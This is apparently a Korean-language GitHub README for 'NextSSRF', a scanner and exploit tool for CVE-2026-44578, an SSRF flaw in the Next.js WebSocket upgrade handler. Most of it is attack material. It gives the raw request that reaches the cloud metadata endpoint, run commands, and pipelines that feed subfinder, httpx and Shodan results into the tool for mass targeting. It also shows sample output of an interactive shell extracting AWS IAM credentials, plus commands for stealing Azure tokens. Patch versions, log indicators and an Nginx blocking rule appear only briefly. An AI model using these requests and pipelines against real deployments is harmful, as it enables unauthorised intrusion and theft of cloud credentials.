
CVE-2026-44578 스캐너 및 Next.js WebSocket 업그레이드 핸들러의 SSRF 취약점을 위한 익스플로잇 도구. 취약한 버전을 탐지하고, 클라우드 메타데이터를 추출하며, 대화형 셸을 통해 IAM 자격 증명을 유출합니다.
╔══════════════════════════════════════════════════════════════╗
║ NextSSRF — CVE-2026-44578 스캐너 및 익스플로잇 ║
║ Next.js WebSocket 업그레이드 핸들러 SSRF ║
║ 영향 버전: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4 ║
║ @mitsec / ynsmroztas — 버그 바운티 도구 ║
╚══════════════════════════════════════════════════════════════╝
CVE-2026-44578 — Next.js WebSocket 업그레이드 핸들러를 통한 서버-사이드 요청 위조
2026년 5월 11일, Vercel은 CVE-2026-44578 (CVSS 8.6)을 패치했습니다: Next.js의 WebSocket 업그레이드 핸들러에서 인증되지 않은 SSRF가 발생하며, 13.4.13 이후의 모든 자체 호스팅 배포에 영향을 미칩니다.
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1 ← 절대 형식 URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
http://의 //는 normalizeRepeatedSlashes가 조기 종료되도록 하여 statusCode: 308 및 finished: true를 설정합니다. 취약한 업그레이드 핸들러는 두 플래그를 모두 무시하고 parsedUrl.protocol이 truthy일 때 proxyRequest를 호출합니다 — 요청을 공격자 제어 호스트의 80번 포트로 프록시합니다.
// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
| 제품 | 취약 버전 | 수정 버전 |
|---|---|---|
| Next.js | 13.4.13 – 15.5.15 | 15.5.16 |
| Next.js | 16.0.0 – 16.2.4 | 16.2.5 |
| Vercel 호스팅 | ✅ 영향 없음 | 해당 없음 |
Upgrade: websocket을 400으로 거부
AWS IMDSv1 자격 증명이 CVE-2026-44578을 통해 탈취됨 — 대화형 익스플로잇 셸
git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com
제로 의존성 — Python 표준 라이브러리만 사용. Python 3.10+ 필요.
python3 nextssrf.py -t https://target.com
# AWS 메타데이터만
python3 nextssrf.py -t https://target.com --cloud aws
# 사용자 정의 내부 대상
python3 nextssrf.py -t https://target.com \
--ssrf-host http://internal-api --path /admin
# 심층 스캔 (+ 내부 서비스)
python3 nextssrf.py -t https://target.com --cloud aws --deep
# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl
# 파일 입력
python3 nextssrf.py -f targets.txt --threads 15 -o results.json
# 강제 스캔 (버전을 알 수 없어도)
python3 nextssrf.py -t https://target.com --force
| 코드 | 의미 |
|---|---|
0 | 취약하지 않음 / 깨끗함 |
1 | 취약함 (익스플로잇 없음) |
2 | SSRF 확인됨 |
고급 익스플로잇 셸, 자동 클라우드 탐지 및 IAM 자격 증명 추출 포함:
python3 nextssrf.py -t https://target.com
╔══════════════════════════════════════════════════╗
║ NextSSRF v2 — 대화형 익스플로잇 셸 ║
║ 대상 : ec2-x-x-x-x.compute.amazonaws.com ║
║ CVE : CVE-2026-44578 | 상태: 연결됨 ║
╚══════════════════════════════════════════════════╝
nextssrf(ec2-x...)> cloud
[>] 클라우드 제공자 탐지 중...
✓ AWS — 일치: ['ami-id', 'instance-id', 'iam/', 'hostname']
→ 전체 자격 증명 추출을 위해 'aws' 실행
nextssrf(ec2-x...)> aws
[1/3] 인스턴스 정보
[200] 호스트명 : ip-172-31-47-134.ec2.internal
[200] 가용 영역 : us-east-1d
[200] 계정 ID : {"AccountId": "370741706736"}
[2/3] IAM 역할 발견
✓ IAM 역할 발견: my-ec2-role
[3/3] 자격 증명 추출
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
🎯 AWS 자격 증명 탈취 완료!
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
SecretKey : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Expiration : 2026-05-14T22:32:22Z
# 클라우드 탐지 + 전체 익스플로잇 체인 자동 실행
python3 nextssrf.py -t https://target.com --auto
# 전체 정찰 → 익스플로잇 파이프라인
subfinder -d target.com \
| httpx -silent -server \
| grep -i "next" \
| python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl
# Shodan 대량 스캔 → 확인된 호스트에 대해 대화형
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
| python3 nextssrf.py --pipe --cloud aws -o hits.jsonl
# 특정 버전 범위 확인
cat hosts.txt \
| python3 nextssrf.py --pipe --force --cloud aws \
| jq '.[] | select(.ssrf_hits | length > 0)'
로그에서 악용 징후:
# Next.js 프로세스 로그
Failed to proxy http:/ ← 단일 슬래시 = 정규화 지문
# 액세스 로그 (절대 형식 URI + Upgrade 헤더)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket
# Nginx: 절대 형식 요청 URI 거부
if ($request_uri ~* "^https?://") {
return 400;
}
승인된 보안 테스트 및 버그 바운티 연구용으로만 사용하세요. 자신이 소유하거나 명시적 서면 허가를 받은 시스템에 대해서만 사용하십시오. 저자는 오용 또는 무단 사용에 대해 책임을 지지 않습니다. 항상 버그 바운티 프로그램의 참여 규칙을 따르십시오.
❤️를 담아 @mitsec · ynsmroztas.github.io 제작
Intigriti 최고 해커 · 100+ HOF · 2430+ 취약점 · 1100+ P1 치명적
| 명령어 | 설명 |
|---|
cloud | 클라우드 자동 탐지 (AWS/Azure/GCP/DO/OCI) |
aws | 전체 AWS IAM 자격 증명 체인 |
azure | Azure 관리 ID 토큰 |
scan | 클라우드 탐지 + 자동 익스플로잇 |
url <http://> | 사용자 정의 SSRF 요청 |
get <N> | 인덱스별 AWS IMDS 대상 |
list | 모든 IMDS 엔드포인트 표시 |
history | 요청 기록 |
save | 세션을 JSON으로 내보내기 |
quit | 종료 |